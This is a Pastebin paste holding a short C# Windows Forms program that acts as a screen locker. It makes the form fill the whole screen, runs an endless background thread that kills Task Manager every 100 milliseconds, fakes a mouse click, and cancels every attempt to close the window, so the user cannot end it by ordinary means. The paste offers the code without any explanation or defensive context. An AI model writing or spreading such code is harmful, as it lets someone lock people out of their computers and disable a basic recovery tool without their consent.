Advertisement
Guest User

Untitled

a guest
Nov 22nd, 2019
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.66 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Diagnostics;
  6. using System.Drawing;
  7. using System.Linq;
  8. using System.Runtime.InteropServices;
  9. using System.Text;
  10. using System.Threading;
  11. using System.Threading.Tasks;
  12. using System.Windows.Forms;
  13.  
  14. namespace WindowsFormsApplication1
  15. {
  16. public partial class Form1 : Form
  17. {
  18. [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
  19. public static extern void mouse_event(uint dwFlags, uint dx, uint dy, uint cButtons, uint dwExtraInfo);
  20. //Mouse actions
  21. private const int MOUSEEVENTF_LEFTDOWN = 0x02;
  22. private const int MOUSEEVENTF_LEFTUP = 0x04;
  23. private const int MOUSEEVENTF_RIGHTDOWN = 0x08;
  24. private const int MOUSEEVENTF_RIGHTUP = 0x10;
  25.  
  26. public Form1()
  27. {
  28. InitializeComponent();
  29. this.Width = Screen.PrimaryScreen.Bounds.Width;
  30. this.Height = Screen.PrimaryScreen.Bounds.Height;
  31. Thread t = new Thread(() => { while (true) { if (Process.GetProcessesByName("taskmgr").Length > 0) Process.GetProcessesByName("taskmgr")[0].Kill(); Thread.Sleep(100); } });
  32. t.Start();
  33. uint X = (uint)Cursor.Position.X;
  34. uint Y = (uint)Cursor.Position.Y;
  35. mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, X, Y, 0, 0);
  36. }
  37.  
  38. private void Form1_FormClosing(object sender, FormClosingEventArgs e)
  39. {
  40. e.Cancel = true;
  41. }
  42.  
  43. private void pictureBox1_Click(object sender, EventArgs e)
  44. {
  45.  
  46. }
  47. }
  48. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement